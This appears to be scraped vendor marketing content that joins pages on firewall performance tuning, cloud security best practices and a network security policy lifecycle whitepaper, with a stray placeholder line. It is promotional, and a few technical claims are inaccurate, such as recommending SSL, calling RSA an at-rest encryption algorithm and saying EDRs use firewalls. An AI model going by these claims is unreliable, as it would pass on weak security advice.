high number of error packets or discarded packets can burden your resources as these packets are still processed by the firewall even when they ultimately turn out to be dud in terms of traffic. Such errors usually happen when routers try to reclaim some buffer space. 4. Congested network access link Network access link congestion can be caused due to a bottleneck happening between a high bandwidth IP Network and LAN. When there is high traffic, the router queue gets filled and causes jitters and time delays. When there are more occurrences of jitter, more packets are dropped on the receiving end, causing a degradation of the quality of audio or video being transmitted. This issue is often observed in VoIP systems . 5. Network link failure When packet loss continues for over a few seconds, it can be deemed a network link failure. While re-establishing the link could take just a few seconds, the routers may already be looking for alternate routes. Frequent network link failures can be a symptom of power supply or hardware issues. 6. Misconfigurations Software or hardware misconfigurations can easily lead to overloading of LAN, and such a burden can easily affect the system’s performance. Situations like these can be caused by misconfigured multicast traffic and can affect the overall data transfer rate of all users. 7. Loss of packets Loss of packets can cause timeout errors, retransmissions, and network slowness. Loss of packets can happen due to delayed operations, server slowdown, misconfiguration, and several other reasons. How to fine-Tune your firewall performance Firewall performance issues can be alleviated with hardware upgrades. But as you scale up, upgrading hardware at an increasing scale would mean high expenses and an overall inefficient system. A much better cost-effective way to resolve firewall performance issues would be to figure out the root cause and make the necessary updates and fixes to resolve the issues. Before troubleshooting, you should know the different types of firewall optimization techniques: Hardware updates Firewall optimization can be easily achieved through real-time hardware updates and upgrades. This is a straightforward method where you add more capacity to your computing resources to handle the processing load of running a firewall. General best practices This involves the commonly used universal best practices that ensure optimized firewall configurations and working. Security policies, data standard compliances , and keeping your systems up to date and patched will all come under this category of optimizations. Any optimization effort generally applied to all firewalls can be classified under this type. Vendor specific Optimization techniques designed specifically to fit the requirements of a particular vendor are called vendor-specific optimizations. This calls for a good understanding of your protected systems, how traffic flows, and how to minimize the network load. Model specific Similar to vendor-specific optimizations, model-specific optimization techniques consider the particular network model you use. For instance, the Cisco network models usually have debugging features that can slow down performance. Similarly, the PIX 6.3 model uses TCP intercept that can slow down performance. Based on your usage and requirements, you can turn the specific features on or off to boost your firewall performance. Best practices to resolve the usual firewall performance bottlenecks Here are some proven best practices to improve your firewall’s performance. Additionally, you might also want to read Max Power by Timothy Hall for a wholesome understanding. Standardize your network traffic Any good practice starts with rectifying your internal errors and vulnerabilities. Ensure all your outgoing traffic aligns with your cybersecurity standards and regulations. Weed out any application or server sending out requests that don’t comply with the security regulations and make the necessary updates to streamline your network. Router level filtering To reduce the load on your firewall applications and hardware, you can use router-level network traffic filtering. This can be achieved by making a Standard Access List filter from the previously dropped requests and then routing them using this list for any other subsequent request attempts. This process can be time-consuming but is simple and effective in avoiding bottlenecks. Avoid using complicated firewall rules Complex firewall rules can be resource heavy and place a lot of burden on your firewall performance. Simplifying this ruleset can boost your performance to a great extent. You should also regularly audit these rules and remove unused rules. To help you clean up firewall rules, you can start with Algosec’s firewall rule cleanup and performance optimization tool . Test your firewall Regular testing and auditing of your firewall can help you identify any probable causes for performance slowdown. You can collect information on your network traffic and use it to optimize how your firewall operates. You can use Algosec’s firewall auditor services to take care of all your auditing requirements and ensure compliance at all levels. Make use of common network troubleshooting tools To analyze the network traffic and troubleshoot your performance issues, you can use common network tools like netstat and iproute2. These tools provide you with network stats and in-depth information about your traffic that can be well utilized to improve your firewall configurations. You can also use check point servers and tools like SecureXL, and CoreXL. Follow a well-defined security policy As with any security implementation, you should always have a well-defined security policy before configuring your firewalls. This gives you a good idea of how your firewall configurations are made and lets you simplify them easily. Change management is also essential to your firewall policy management process . You should also document all the changes, reviews, and updates you make to your security policies to trace any problematic configurations and keep your systems updated against evolving cyber threats. A good way to mitigate security policy risks is to utilize AlgoSec. Network segmentation Segmentation can help boost performance as it helps isolate network issues and optimize bandwidth allocation. It can also help to reduce the traffic and thus further improve the performance. Here is a guide on network segmentation you can check out. Automation Make use of automation to update your firewall settings. Automating the firewall setup process can greatly reduce setup errors and help you make the process more efficient and less time-consuming. You can also extend the automation to configure routers and switches. Algobot is an intelligent chatbot that can effortlessly handle network security policy management tasks for you. Handle broadcast traffic efficiently You can create optimized rules to handle broadcast traffic without logging to improve performance. Make use of optimized algorithms Some firewalls, such as the Cisco Pix, ASA 7.0 , Juniper network models, and FWSM 4.0 are designed to match packets without dependency on rule order. You can use these firewalls; if not, you will have to consider the rule order to boost the performance. To improve performance, you should place the most commonly used policy rules on the top of the rule base. The SANS Institute recommends the following order of rules: Anti-spoofing filters User permit rules Management permit rules Noise drops Deny and alert Deny and log DNS objects Try to avoid using DNS objects that need DNS lookup services. This slows down the firewall. Router interface design Matching the router interface with your firewall interface is a good way to ensure good performance. If your router interface is half duplex and the firewall is full duplex, the mismatch can cause some performance issues. Similarly, you should try to match the switch interface with your firewall interface, making them report on the same speed and mode. For gigabit switches, you should set up your firewall to automatically adjust speed and duplex mode. You can replace the cables and patch panel ports if you cannot match the interfaces. VPN If you are using VPN and firewalls, you can separate them to remove some VPN traffic and processing load from the firewall and thus increase the performance. UTM features You can remove the additional UTM features like Antivirus, and URL scanning features from the firewall to make it more efficient. This does not mean you completely eliminate any additional security features. Instead, just offload them from the firewall to make the firewall work faster and take up fewer computing resources. Keep your systems patched and updated Always keep your systems, firmware, software, and third-party applications updated and patched to deal with all known vulnerabilities.

Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/27/23 Published Ensuring your cloud environment is secure and compliant with industry practices is critical. Cloud security best practices will help you protect your organization’s data and applications. In the process, reduce the risks of security compromise. This post will walk you through the best practices for cloud security. We’ll also share the top cloud security risks and how to mitigate them. The top 5 security risks to cloud computing right now Social engineering. Social engineering attackers use psychological deception to manipulate users into providing sensitive information. These deception tactics may include phishing, pretexting, or baiting. Account compromise. An account compromise occurs when an attacker obtains unauthorized entry to it. A hacker can access your account when you use weak passwords or steal your credentials. They may introduce malware or steal your files once they access your account. Shadow IT. This security risk occurs when your employee uses hardware or software that the IT department does not approve. It may result in compliance problems, data loss, and a higher risk of cyberattacks. Insider activity (unintentional or malicious) . Insider activity occurs when approved users damage your company’s data or network. These users can either do it purposefully or accidentally on-premises. For example, you may disclose private information unintentionally or steal data on purpose. Insecure APIs . APIs make communication easier for cloud services and other software applications. Insecure APIs can allow unauthorized access to sensitive data. This could, in turn, lead to malicious attacks, such as data theft. The attackers could also do illegal data alteration from data centers. 16 best practices for cloud security Establish zero-trust architecture Use role-based access control Monitor suspicious activity Monitor privileged users Encrypt data in motion and at rest Investigate shadow IT applications Protect Endpoints Educate employees about threats Create and enforce a password policy Implement multi-factor authentication Understand the shared responsibility model m Audit IaaS configurations Review SLAs and contracts. Maintaining logs and monitoring Use vulnerability and penetration testing Consider intrusion detection and prevention One of the most critical areas of cloud security is identity and access management. We will also discuss sensitive data protection, social engineering attacks, cloud deployments, and incident response. Best practices for managing access. Access control is an integral part of cloud network security. It restricts who can access cloud services, what they can do with the data, and when. Here are some of the best practices for managing access: Establish zero-trust architecture Zero-trust architecture is a security concept that treats all traffic in or out of your network as untrusted. It considers that every request may be malicious. So you must verify your request, even if it originates from within the network. You can apply zero-trust architecture by dividing the system into smaller, more secure cloud zones. And then enforce strict access policies for each zone. This best practice will help you understand who accesses your cloud services. You’ll also know what they do with your data resources. Use role-based access control Role-based access control allows you to assign users different access rights based on their roles. This method lessens the chances of giving people unauthorized access privileges. It also simplifies the administration of access rights. RBAC also simplifies upholding the tenet of least privilege. It restricts user permission to only the resources they need to do their jobs. This way, users don’t have excessive access that attackers could exploit. Monitor suspicious activity Monitoring suspicious behavior involves tracking and analyzing user activity in a cloud environment. It helps identify odd activities, such as user accounts accessing unauthorized data. You should also set up alerts for suspicious activities. Adopting this security strategy will help you spot security incidents early and react quickly. This best practice will help you improve your cloud functionality. It will also protect your sensitive data from unwanted access or malicious activities. Monitor privileged users Privileged users have high-level access rights and permissions. They can create, delete and modify data in the cloud environment. You should consider these users as a huge cybersecurity risk. Your privileged users can cause significant harm if they get compromised. Closely watch these users’ access rights and activity. By doing so, you’ll easily spot misuse of permissions and avert data breaches. You can also use privileged access management systems (PAS) to control access to privileged accounts. Enforcing security certifications also helps privileged users avoid making grievous mistakes. They’ll learn the actions that can pose a cybersecurity threat to their organization. Best practices for protecting sensitive data Safeguarding sensitive data is critical for organizational security. You need security measures to secure the cloud data you store, process and transfer. Encrypt data in motion and at rest Encrypting cloud data in transit and at rest is critical to data security. When you encrypt your data, it transforms into an unreadable format. So only authorized users with a decryption key can make it readable again. This way, cybercriminals will not access your sensitive data. To protect your cloud data in transit, use encryption protocols like TSL and SSL. And for cloud data at rest, use powerful encryption algorithms like AES and RSA. Investigate shadow IT applications Shadow IT apps can present a security risk as they often lack the same level of security as sanctioned apps. Investigating Shadow IT apps helps ensure they do not pose any security risks. For example, some staff may use cloud storage services that are insecure. If you realize that, you can propose sanctioned cloud storage software as a service apps like Dropbox and Google Drive. You can also use software asset management tools to monitor the apps in your environment. A good example is the SaaS solution known as Flexera software asset management. Protect Endpoints Endpoints are essential in maintaining a secure cloud infrastructure. They can cause a huge security issue if you don’t monitor them closely. Computers and smartphones are often the weakest points in your security strategy. So, hackers target them the most because of their high vulnerability. Cybercriminals may then introduce ransomware into your cloud through these endpoints. To protect your endpoints, employ security solutions like antimalware and antivirus software. You could also use endpoint detection and response systems (EDRs) to protect your endpoints from threats. EDRs use firewalls as a barrier between the endpoints and the outside world. These firewalls will monitor and block suspicious traffic from accessing your endpoints in real time. Best practices for preventing social engineering attacks Use these best practices to protect your organization from social engineering attacks: Educate employees about threats Educating workers on the techniques that attackers use helps create a security-minded culture. Your employees will be able to detect malicious attempts and respond appropriately. You can train them on deception techniques such as phishing, baiting, and pretexting. Also, make it your policy that every employee takes security certifications on a regular basis. You can tell them to report anything they suspect to be a security threat to the IT department. They’ll be assured that your security team can handle any security issues they may face. Create and enforce a password policy A password policy helps ensure your employees’ passwords are secure and regularly updated. It also sets up rules everyone must follow when creating and using passwords. Some rules in your password policy can be: Setting a minimum password length when creating passwords. No reusing of passwords. The frequency with which to change passwords. The characteristics of a strong password. A strong password policy safeguards your cloud-based operations from social engineering assaults. Implement multi-factor authentication Multi-factor authentication adds an extra layer of security to protect the users’ accounts. This security tool requires users to provide extra credentials to access their accounts. For example, you may need a one-time code sent via text or an authentication app to log into your account. This extra layer of protection reduces the chances of unauthorized access to accounts. Hackers will find it hard to steal sensitive data even if they have your password. In the process, you’ll prevent data loss from your cloud platform. Leverage the multifactor authentication options that public cloud providers usually offer. For example, Amazon Web Services (AWS) offers multifactor authentication for its users. Best practices for securing your cloud deployments. Your cloud deployments are as secure or insecure as the processes you use to manage them. This is especially true for multi-cloud environments where the risks are even higher. Use these best practices to secure your cloud deployments: Understand the shared responsibility model The shared responsibility model is a concept that drives cloud best practices. It states that cloud providers and customers are responsible for different security aspects. Cloud service providers are responsible for the underlying infrastructure and its security. On the other hand, customers are responsible for their apps, data, and settings in the cloud. Familiarize yourself with the Amazon Web Services (AWS) or Microsoft Azure guides. This ensures you’re aware of the roles of your cloud service provider. Understanding the shared security model will help safeguard your cloud platform. Audit IaaS configurations Cloud deployments of workloads are prone to misconfigurations and vulnerabilities. So it’s important to regularly audit your Infrastructure as a Service (IaaS) configurations. Check that all IaaS configurations align with industry best practices and security standards. Regularly check for weaknesses, misconfigurations, and other security vulnerabilities. This best practice is critical if you are using a multi-cloud environment. The level of complexity arises, which in turn increases the risk of attacks. Auditing IaaS configurations will secure your valuable cloud data and assets from potential cyberattacks. Review SLAs and contracts. Reviewing SLAs and contracts is a crucial best practice for safeguarding cloud installations. It ensures that all parties know their respective security roles. You should review SLAs to ensure cloud deployments meet your needs while complying with industry standards. Examining the contracts also helps you identify potential risks, like data breaches. This way, you prepare elaborate incident responses. Best practices for incident response Cloud environments are dynamic and can quickly become vulnerable to cyberattacks. So your security/DevOps team should design incident response plans to resolve potential security incidents. Here are some of the best practices for incident response: Maintaining logs and monitoring Maintaining logs and monitoring helps you spot potential cybersecurity threats in real time. In the process, enable your security to respond quickly using the right security controls. Maintaining logs involves tracking all the activities that occur in a system. In your cloud environment, it can record login attempts, errors, and other network activity. Monitoring your network activity lets you easily spot a breach’s origin and damage severity. Use vulnerability and penetration testing Vulnerability assessment and penetration testing can help you identify weaknesses in your cloud. These tests mimic attacks on a company’s cloud infrastructure to find vulnerabilities that cybercriminals may exploit. Through automation, these security controls can assist in locating security flaws, incorrect setups, and other weaknesses early. You can then measure the adequacy of your security policies to address these flaws. This will let you know if your cloud security can withstand real-life incidents. Vulnerability and penetration testing is a crucial best practice for handling incidents in cloud security. It may dramatically improve your organization’s overall security posture. Consider intrusion detection and prevention Intrusion detection and prevention systems (IDPS) are essential to a robust security strategy. Intrusion detection involves identifying potential cybersecurity threats in your network. Through automation, intrusion detection tools monitor your network traffic in real-time for suspicious activity. Intrusion prevention systems (IPS) go further by actively blocking malicious activity. These security tools can help prevent any harm by malware attacks in your cloud environment. The bottom line on cloud security. You must enforce best practices to keep your cloud environment secure. This way, you’ll lower the risks of cyberattacks which can have catastrophic results. A CSPM tool like Prevasio can help you enforce your cloud security best practices in many ways. It can provide visibility into your cloud environment and help you identify misconfigurations. Prevasio can also allow you to set up automated security policies to apply across the entire cloud environment. This ensures your cloud users abide by all your best practices for cloud security.

- The network security policy management lifecycle | AlgoSec
Understand the network security policy management lifecycle, from creation to implementation and continuous review, ensuring optimal network protection and compliance. The network security policy management lifecycle Introduction IT security organizations today are judged on how they enable business transformation and innovation. They are tasked with delivering new applications to users and introducing new technologies that will capture new customers, improve productivity and lower costs. They are expected to be agile so they can respond faster than competitors to changing customer and market needs. Unfortunately, IT security is often perceived as standing in the way of innovation and business agility. This is particularly true when it comes to provisioning business application connectivity. When an enterprise rolls out a new application or migrates an application to the cloud it may take weeks or even months to ensure that all the servers, devices and network segments can communicate with each other, and at the same time prevent access to hackers and unauthorized users. But IT security does not have to be a bottleneck to business agility. Nor is it necessary to accept more risk to satisfy the demand for speed. The solution is to manage application connectivity and network security policies through a structured lifecycle methodology. IT security organizations that follow the five stages of a security policy management lifecycle can improve business agility dramatically without sacrificing security. A lifecycle approach not only ensures that the right activities are performed in the right order, it provides a framework for automating repeatable processes, and enables different technical and business groups to work together better. In this whitepaper, we will: Review the obstacles to delivering secure application connectivity and business agility. Explore the lifecycle approach to managing application connectivity and security policies. Examine how the activities at each stage of the lifecycle can help enterprises increase business agility, reduce risks, and lower operating costs. Schedule a Demo Why is it so hard to manage application and network connectivity? Top IT managers sometimes view security policy management as something routine, just part of the “plumbing.” In reality, delivering secure connectivity requires mastering complex data center and cloud infrastructures, coping with constant change, understanding esoteric security and compliance requirements, and coordinating the efforts of multiple technical and business teams. Application connectivity is complex The computing infrastructure of even a medium-sized enterprise includes hundreds of servers, storage systems, and network security devices such as firewalls, routers and load balancers. Complexity is magnified by the fact that many application components are now virtualized. Moreover, hybrid cloud architectures are becoming common. And since networking concepts differ profoundly between physical and cloud-based networks, unified visibility and control are very difficult to obtain. Change never stops Business users need access to data – fast! Yet every time a new application is deployed, changed or migrated, network and security staff need to understand how information will flow between the various web, application, database and storage servers. They need to devise application connectivity rules that allow traffic while preventing access from unauthorized users or creating gaps in their security perimeters. Security and compliance require thousands of application connectivity rules Many security policies are required to manage network access and protect confidential data from outside attackers and from unauthorized access by users or employees. In a typical enterprise, customers and businesses are only allowed to access specific web servers in a “demilitarized zone.” Some applications and databases are authorized for all employees, while others are restricted to specific departments or business units or management levels. Government regulations and industry standards require severely controlled access to credit card and financial information, Personally Identifiable Information (PII), Protected Health Information (PHI) and many other types of confidential data. Security best practices often require additional restrictions, such as limiting the use of protocols that can be used to evade security controls. To enforce these policies, IT security teams need to create and manage thousands, tens of thousands, and sometimes even hundreds of thousands of firewall rules on routers, firewalls and other network and security devices in order to comply with the necessary security, business and regulatory requirements. Technical and business groups don’t communicate After application delivery managers outline the business-level requirements of new or modified applications, network and security architects must translate them into network flows that traverse various web gateways, web servers, application servers, database servers and document repositories. Then firewall administrators and other security professionals have to create firewall rules that allow the right users to connect to the right systems, using appropriate services and protocols. Compliance and risk management officers also get involved to identify potential violations of regulations and corporate policies. These processes are handicapped by several factors: Each group speaks a different business or technical language. Information is siloed, and each group has its own tools for tracking business requirements, network topology, security rules and compliance policies. Data is often poorly documented. Often network and security groups are brought in only at the tail end of the process, when it is too late to prevent bad decisions.

Often network and security groups are brought in only at the tail end of the process, when it is too late to prevent bad decisions. Schedule a Demo The lifecycle approach to managing application connectivity and security policies Most enterprises take an ad-hoc approach to managing application connectivity. They jump to address the connectivity needs of high-profile applications and imminent threats, but have little time left over to maintain network maps, document security policies and firewall rules, or to analyze the impact of rule changes on production applications. They are also hard-pressed to translate dozens of daily change requests from business terms into complex technical details. The costs of these dysfunctional processes include: Loss of business agility, caused by delays in releasing applications and improving infrastructure. Application outages and lost productivity, caused by errors in updating rules and configuring systems. Inflexibility, when administrators refuse to change existing rules for fear of “breaking” existing information flows. Increased risk of security breaches, caused by gaps in security and compliance policies, and by overly permissive security rules on firewalls and other devices. Costly demands on the time of network and security staff, caused by inefficient processes and high audit preparation costs. IT security groups will always have to deal with complex networks and constantly changing applications. But given these challenges, they can manage application connectivity and security policies more effectively using a lifecycle framework such as the one illustrated in Figure 1. This lifecycle approach captures all the major activities that an IT organization should follow when managing change requests that affect application connectivity and security policies, organized into five stages. Figure 1: The Network Security Policy Lifecycle Structure activities and reduce risks A lifecycle approach ensures that the right activities are performed in the right order, consistently. This is essential to reducing risks. For example, failing to conduct an impact analysis of proposed firewall rule changes can lead to service outages when the new rules inadvertently block connections between components of an application. While neglecting to monitor policies and recertify rules can result in overly permissive or unnecessary rules that facilitate data breaches. A structured process also reduces unnecessary work and increases business agility. For example, a proactive risk and compliance assessment during the Plan & Assess stage of the lifecycle can identify requirements and prevent errors before new rules are deployed onto security and network devices. This reduces costly, time-consuming and frustrating “fire drills” to fix errors in the production environment. A defined lifecycle also gives network and security professionals a basis to resist pressures to omit or shortchange activities to save time today, which can cause higher costs and greater risks tomorrow. Automate processes The only way IT organizations can cope with the complexity and rapid change of today’s infrastructure and applications is through automation. A lifecycle approach to security policy management helps enterprises structure their processes to be comprehensive, repeatable and automated. When enterprises automate the process of provisioning security policies, they can respond faster to changing business requirements, which makes them more agile and competitive. By reducing manual errors and ensuring that key steps are never overlooked, they also avoid service outages and reduce the risk of security breaches and compliance violations. Automation also frees security and networking staffs so they have time to spend on strategic initiatives, rather than on routine “keep the lights on” tasks. Ultimately, it permits enterprises to support more business applications and greater business agility with the same staff. Enable better communication A lifecycle approach to security policy management improves communication across IT groups and their senior management. It helps bring together application delivery, network, security, and compliance people in the Discover & Visualize and Plan & Assess stages of the lifecycle, to make sure that business requirements can be accurately translated into infrastructure and security changes. The approach also helps coordinate the work of network, security and operations staffs in the Migrate & Deploy, Maintain and Decommission stages, to ensure that deployment and operational activities are executed smoothly. And it helps IT and business executives communicate better about the security posture of the enterprise. Document the environment In most enterprises security policies are poorly documented. Reasons include severe time pressures on network and security staff, and tools that make it hard to record and share policy and rule information (e.g., spreadsheets and bug tracking systems designed for software development teams). The result is minor time savings in the short run (“we’ll document that later when we have more time”) at the cost of more work later, lack of documentation needed for audits and compliance verification, and the greater risk of service outages and data breaches. Organizations that adopt a lifecycle approach build appropriate self-documenting processes into each step of the lifecycle. We will now look at how these principles and practices can be implemented in each of the five stages of a security policy management lifecycle. Schedule a Demo Stage 1: Discover & visualize The first stage of the security policy management lifecycle is Discover & Visualize. This phase is key to successful security policy management. It gives IT organizations an accurate, up-to-date mapping of their application connectivity across on-premises, cloud, and software-defined environments. Without this information, IT staff are essentially working blind, and will inevitably make mistakes and encounter problems down the line. While discovery may sound easy, for most IT organizations today it is extremely difficult to perform. As discussed earlier, most enterprises have hundreds or thousands of systems in their enterprise infrastructure. Servers and devices are constantly being added, removed, upgraded, consolidated, distributed, virtualized, and moved to the cloud. Few organizations can maintain an accurate, up-to-date map of their application connectivity and network topology, and it can take months to gather this information manually Fortunately, security policy management solutions can automate the application connectivity discovery, mapping, and documentation processes (see Figure 2). These products give network and security staffs an up-to-date map of their application connectivity and network topology, eliminating many of the errors caused by out-of-date (or missing) information about systems, connectivity flows, and firewall rules. In addition, the mapping process can help business and technical groups develop a shared understanding of application connectivity requirements. Figure 2: Auto discover, map and visualize application connectivity and security infrastructure Schedule a Demo Stage 2: Plan & assess Once an enterprise has a clear picture of its application connectivity and network infrastructure, it can effectively start to plan changes. The Plan & Assess stage of the lifecycle includes activities that ensure that proposed changes will be effective in providing the required connectivity, while minimizing the risks of introducing vulnerabilities, causing application outages, or violating compliance requirements. Typically, this stage involves: Translating business application connectivity requests, typically defined in business terms, into networking terminology that security staff can understand and implement. Analyzing the network topology, to determine if the requested changes are really needed (typically 30% of requests require no changes). Conducting a proactive impact analysis of proposed rule changes to understand in advance how they will affect other applications and processes. Performing a risk and compliance assessment, to make sure that the changes don’t open security holes or cause compliance violations (see Figure 3). Assessing inputs from vulnerabilities scanners and SIEM solutions to understand business risk. Many organizations perform these activities only periodically, in conjunction with audits or as part of a major project. They omit impact analysis for “minor” change requests and even when they perform risk assessments, they often focus on firewall rules and ignore the wider business application implications. Yet automating these analysis and assessment activities and incorporating them as part of a structured lifecycle process helps keep infrastructure and security data up to date, which saves time overall and prevents bad decisions from being made based on outdated information. It also ensures that key steps are not omitted, since even a single configuration error can cause a service outage or set the stage for a security breach. Impact analysis is particularly valuable when cloud-based applications and services are part of the project as it is often extremely difficult to predict the effect of rule changes when deployed to the cloud. Figure 3: Proactively assess risk and compliance for each security policy change Schedule a Demo Stage 3: Migrate & deploy The process of deploying connectivity and security rules can be extremely labor-intensive when it involves dozens of firewalls, routers, and other network security devices. It is also very error-prone. A single “fat-finger” typing mistake can result in an outage or a hole in the security perimeter. Security policy management solutions automate critical tasks during this stage of the lifecycle, including: Designing rule changes intelligently based on security, compliance and performance considerations. Automatically migrating these rules using intuitive workflows (see Figure 4). Pushing policies to firewalls and other security devices, both on-premise and on cloud platforms – with zero touch if no exceptions are detected (see Figure 5). Validating that the intended changes have been implemented correctly. Many enterprises overlook the validation process and fail to check that rule changes have been pushed to devices and activated successfully. This can create the false impression that application connectivity has been provided, or that vulnerabilities have been removed, when in fact there are time bombs ticking in the infrastructure. By automating these tasks, IT organizations can speed up application deployments, as well as ensure that rules are accurate and consistent across different security devices. Automated deployment also eliminates the need to perform many routine maintenance tasks and therefore frees up security professionals for more strategic tasks. Figure 4: Automate firewall rule migration through easy-to-use workflows Figure 5: Deploy security changes directly onto devices with zero touch Schedule a Demo Stage 4: Maintain In the rush to support new applications and technologies, many IT security teams ignore, forget or put off activities related to monitoring and maintaining their security policy – despite the fact that most firewalls accumulate thousands of rules and objects which become out-of-date or obsolete over the years. Typical symptoms of cluttered and bloated rulesets include: Overly permissive rules that create gaps in the network security perimeter which cybercriminals can use to attack the enterprise. Excessively complicated tasks in areas such as change management, troubleshooting and auditing. Excessive audit preparation costs to prove that compliance requirements are being met, or conversely audit failures because overly permissive rules allow violations. Slower network performance, because proliferating rules overload network and security devices. Decreased hardware lifespan and increased TCO for overburdened security devices. Cleaning up and optimizing security policies on an ongoing basis can prevent these problems (see Figure 6). Activities include: Identifying and eliminating or consolidating redundant and conflicting rules. Tightening rules that are overly permissive (for example, allowing network traffic from ANY source to connect to ANY destination using ANY protocol). Reordering rules for better performance. Recertifying expired rules based on security and business needs (see Figure 7). Continuously documenting security rules and their compliance with regulations and corporate policies. Figure 6: Automatically clean up and optimize security policies Automating these maintenance activities helps IT organizations move towards a “clean,” well-documented set of security rules so they can prevent business application outages, compliance violations, security holes, and cyberattacks. It also reduces management time and effort. Another key benefit of ongoing maintenance of security policy rules is that it significantly reduces audit preparation efforts and costs by as much as 80% (see Figure 8). Preparing firewalls for a regulatory or internal audit is a tedious, time-consuming and error-prone process. Moreover, while an audit is typically a point-in-time exercise, most regulations today require enterprises to be continually compliant, which can be difficult to achieve with bloated and ever-changing rule bases. Figure 7: Review and recertify rules based on security and business needs Figure 8: Significantly reduce audit preparation efforts and costs with automated audit reports Schedule a Demo Stage 5: Decommission Every business application eventually reaches the end of its life. At that point some or all of its security policies become redundant. Yet when applications are decommissioned, their policies are often left in place, either from oversight or out of fear that removing policies could negatively affect active business applications. These obsolete or redundant security policies increase the enterprise’s attack vector and add clutter, without providing any business value.A lifecycle approach to managing application connectivity and security policies reduces the risk of application outages and data breaches caused by obsolete rules. It provides a structured and automated process for identifying and safely removing redundant firewall rules as soon as applications are decommissioned, while verifying that their removal will not impact active applications or create compliance violations (see Figure 9). Figure 9: Automatically and safely remove redundant firewall rules when applications are decommissioned Schedule a Demo Summary Network and security operations should never be a bottleneck to business agility, and must be able to respond rapidly to the ever-changing needs of the business. The solution is to move away from a reactive, fire-fighting response to business challenges and adopt a proactive lifecycle approach to managing application connectivity and security policies that will enable IT organizations to achieve critical business objectives such as: Increasing business agility by speeding up the delivery of business continuity and business transformation initiatives. Reducing the risk of application outages due to errors when creating and deploying connectivity and security rules. Reducing the risk of security breaches caused by gaps in security and compliance policies and overly permissive security rules. Freeing up network and security professionals from routine tasks so they can work on strategic projects.
